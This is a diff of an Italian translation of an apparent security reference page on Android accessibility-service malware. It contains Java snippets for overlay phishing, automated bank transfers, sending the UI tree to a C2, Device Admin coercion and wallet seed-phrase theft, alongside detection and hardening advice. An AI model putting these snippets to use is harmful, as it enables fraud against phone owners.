``` -Il file XML di accompagnamento definisce come apparirà la finestra di dialogo falsa: +L'XML associato definisce come apparirà la finestra di dialogo falsa: ```xml <?xml version="1.0" encoding="utf-8"?> <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" @@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/> ``` --- -## Primitivi di automazione UI remota +## Primitive di automazione remota dell'interfaccia utente ```java public class EvilService extends AccessibilityService { @Override @@ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul } } ``` -Con solo queste due API, un attaccante può: -* Sbloccare lo schermo, aprire l'app bancaria, navigare nell'albero dell'interfaccia utente e inviare un modulo di trasferimento. -* Accettare ogni dialogo di autorizzazione che appare. -* Installare/aggiornare APK extra tramite l'intento del Play Store. +Con sole queste due API un attaccante può: +* Sbloccare lo schermo, aprire l'app bancaria, navigare l'albero dell'interfaccia utente e inviare un modulo di trasferimento. +* Accettare ogni dialogo di permesso che compare. +* Installare/aggiornare APK aggiuntivi tramite l'intent del Play Store. --- ## Modelli di abuso -### 1. Overlay Phishing (Raccolta di credenziali) -Un `WebView` trasparente o opaco viene aggiunto al gestore delle finestre: +### 1. Overlay Phishing (Credential Harvesting) +Un `WebView` trasparente o opaco viene aggiunto al window manager: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( MATCH_PARENT, MATCH_PARENT, @@ -87,40 +87,40 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` -La vittima digita le credenziali nel modulo falso mentre l'app in background riceve gli stessi gesti – non viene mai mostrato alcun avviso sospetto "disegna sopra altre app". +La vittima digita le credenziali nel form fasullo mentre l'app in background riceve gli stessi gesti – non viene mai mostrato il sospetto prompt "draw over other apps". -> Esempio dettagliato: la sezione *Accessibility Overlay Phishing* all'interno della pagina Tapjacking. +> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page. -### 2. Automazione della frode su dispositivo -Famiglie di malware come **PlayPraetor** mantengono un canale WebSocket persistente dove l'operatore può emettere comandi di alto livello (`init`, `update`, `alert_arr`, `report_list`, …). Il servizio traduce questi comandi nei gesti di basso livello sopra, ottenendo transazioni non autorizzate in tempo reale che aggirano facilmente l'autenticazione a più fattori legata a quel dispositivo. +### 2. On-Device Fraud automation +Famiglie di malware come **PlayPraetor** mantengono un canale WebSocket persistente dove l'operatore può inviare comandi di alto livello (`init`, `update`, `alert_arr`, `report_list`, …). Il servizio traduce quei comandi nei gesti a basso livello descritti sopra, realizzando transazioni non autorizzate in tempo reale che bypassano facilmente la multi-factor-authentication legata a quel dispositivo. -### 3. Streaming e monitoraggio dello schermo -Combinando l'**API MediaProjection** con una libreria client RTMP, il RAT può trasmettere il framebuffer live a `rtmp://<c2>:1935/live/<device_id>`, dando all'avversario una perfetta consapevolezza situazionale mentre il motore di Accessibilità gestisce l'interfaccia utente. +### 3. Screen streaming & monitoring +Combinando la **MediaProjection API** con una libreria client RTMP, il RAT può trasmettere il framebuffer live a `rtmp://<c2>:1935/live/<device_id>`, fornendo all'avversario perfetta consapevolezza situazionale mentre il motore Accessibility controlla l'UI. --- -## PlayPraetor – flusso di comando e controllo +## PlayPraetor – command & control workflow -1. **Heartbeat HTTP(S)** – iterare su un elenco hard-coded fino a quando un dominio risponde `POST /app/searchPackageName` con il C2 attivo. -2. **WebSocket (porta 8282)** – comandi JSON bidirezionali: -* `update` – inviare nuove conf/APK -* `alert_arr` – configurare modelli di overlay -* `report_list` – inviare l'elenco dei nomi dei pacchetti mirati +1. **HTTP(S) heartbeat** – iterare su una lista hard-coded finché un dominio risponde `POST /app/searchPackageName` con il C2 attivo. +2. **WebSocket (port 8282)** – comandi JSON bidirezionali: +* `update` – push di nuove conf/APK +* `alert_arr` – configurare template di overlay +* `report_list` – inviare lista di package name target * `heartbeat_web` – keep-alive -3. **RTMP (porta 1935)** – streaming live di schermo/video. -4. **Esfiltrazione REST** – -* `/app/saveDevice` (impronta) +3. **RTMP (port 1935)** – streaming live dello schermo/video. +4. **REST exfiltration** – +* `/app/saveDevice` (fingerprint) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` -* `/app/saveCardPwd` (credenziali bancarie) +* `/app/saveCardPwd` (bank creds) -Il **AccessibilityService** è il motore locale che trasforma quei comandi cloud in interazioni fisiche. +The **AccessibilityService** è il motore locale che trasforma quei comandi cloud in interazioni fisiche. --- -## Rilevamento di servizi di accessibilità malevoli +## Detecting malicious accessibility services * `adb shell settings get secure enabled_accessibility_services` -* Impostazioni → Accessibilità → *Servizi scaricati* – cercare app che **non** provengono da Google Play. +* Settings → Accessibility → *Downloaded services* – cercare app che **non** provengono da Google Play. * Le soluzioni MDM / EMM possono imporre `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) per bloccare i servizi sideloaded. * Analizzare i servizi in esecuzione: ```bash @@ -129,17 +129,104 @@ adb shell dumpsys accessibility | grep "Accessibility Service" --- -## Raccomandazioni di indurimento per gli sviluppatori di app +## Hardening recommendations for app developers -* Contrassegnare le viste sensibili con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). -* Combinare `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` per prevenire il dirottamento di tap/overlay. -* Rilevare overlay interrogando `WindowManager.getDefaultDisplay().getFlags()` o l'API `ViewRootImpl`. -* Rifiutare di operare quando `Settings.canDrawOverlays()` **o** un servizio di Accessibilità non fidato è attivo. +* Markare le view sensibili con `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). +* Combinare `setFilterTouchesWhenObscured(true)` con `FLAG_SECURE` per prevenire tap/overlay hijacking. +* Rilevare overlay interrogando `WindowManager.getDefaultDisplay().getFlags()` o usando l'API `ViewRootImpl`. +* Rifiutare di operare quando `Settings.canDrawOverlays()` **o** un Accessibility service non trusted è attivo. + +--- + +## ATS automation cheat-sheet (Accessibility-driven) +Malware può automatizzare completamente un'app bancaria usando solo le Accessibility APIs. Primitive generiche: +```java +// Helpers inside your AccessibilityService +private List<AccessibilityNodeInfo> byText(String t){ +AccessibilityNodeInfo r = getRootInActiveWindow(); +return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); +} +private boolean clickText(String t){ +for (AccessibilityNodeInfo n: byText(t)){ +if (n.isClickable()) return n.performAction(ACTION_CLICK); +AccessibilityNodeInfo p = n.getParent(); +if (p != null) return p.performAction(ACTION_CLICK); +} +return false; +} +private void inputText(AccessibilityNodeInfo field, String text){ +Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); +field.performAction(ACTION_SET_TEXT, b); +} +private void tap(float x, float y){ +Path p = new Path(); p.moveTo(x,y); +dispatchGesture(new GestureDescription.Builder() +.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); +} +``` +Example flow (Czech → English labels): +- "Nová platba" (Nuovo pagamento) → clic +- "Zadat platbu" (Inserisci pagamento) → clic +- "Nový příjemce" (Nuovo destinatario) → clic +- "Domácí číslo účtu" (Numero di conto domestico) → metti a fuoco e `ACTION_SET_TEXT` +- "Další" (Avanti) → clic → … "Zaplatit" (Paga) → clic → inserire PIN + +Fallback: coordinate codificate con `dispatchGesture` quando la ricerca testuale fallisce a causa di widget personalizzati. + +Also seen: passaggi preliminari per `check_limit` e `limit` navigando nell'UI dei limiti e aumentando i limiti giornalieri prima del trasferimento. + +## Pseudo-streaming dello schermo basato su testo +Per il controllo remoto a bassa latenza, invece di uno streaming video completo, esporta una rappresentazione testuale dell'albero UI corrente e inviala ripetutamente al C2. +```java +private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ +if (n==null) return; +Rect b = new Rect(); n.getBoundsInScreen(b); +CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); +sb.append(indent).append("[").append(cls).append("] ") +.append(txt==null?"":txt).append(" ") +.append(b.toShortString()).append("\n"); +for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb); +} +``` +Questa è la base per comandi come `txt_screen` (una tantum) e `screen_live` (continuo). + +## Primitive di coercizione Device Admin +Una volta che un Device Admin receiver è attivato, queste chiamate aumentano le opportunità di catturare credenziali e mantenere il controllo: +```java +DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); +ComponentName admin = new ComponentName(this, AdminReceiver.class); + +// 1) Immediate lock +dpm.lockNow(); + +// 2) Force credential change (expire current PIN/password) +dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android + +// 3) Disable biometric unlock to force PIN/pattern entry +int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; +dpm.setKeyguardDisabledFeatures(admin, flags); +``` +Nota: la disponibilità esatta di queste policy varia a seconda della versione Android e dell'OEM; verificare il device policy role (admin vs owner) durante i test. + +## Pattern di estrazione delle seed-phrase dei wallet Crypto +Flussi osservati per MetaMask, Trust Wallet, Blockchain.com and Phantom: +- Sbloccare con PIN rubato (catturato via overlay/Accessibility) o con la password del wallet fornita. +- Navigare: Settings → Security/Recovery → Reveal/Show recovery phrase. +- Raccogliere la frase tramite keylogging dei text nodes, secure-screen bypass, o screenshot OCR quando il testo è oscurato. +- Supportare più locali (EN/RU/CZ/SK) per stabilizzare i selector – preferire `viewIdResourceName` quando disponibile, altrimenti fallback al matching multilingue del testo. + +## Orchestrazione NFC-relay +I moduli Accessibility/RAT possono installare e lanciare un'app NFC-relay dedicata (es. NFSkate) come terza fase e persino iniettare una guida overlay per accompagnare la vittima attraverso i passaggi del relay card-present. + +Contesto e TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay --- ## Riferimenti * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) +* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}}